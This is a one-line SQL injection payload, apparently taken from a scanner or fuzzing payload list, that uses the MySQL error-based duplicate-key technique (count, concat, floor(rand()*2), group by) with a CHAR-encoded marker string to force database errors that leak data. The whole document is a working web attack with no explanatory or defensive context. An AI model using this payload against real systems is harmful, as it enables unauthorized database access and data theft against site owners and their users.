(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(118),CHAR(113),CHAR(111),CHAR(115),CHAR(119),CHAR(107),CHAR(106),CHAR(121)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))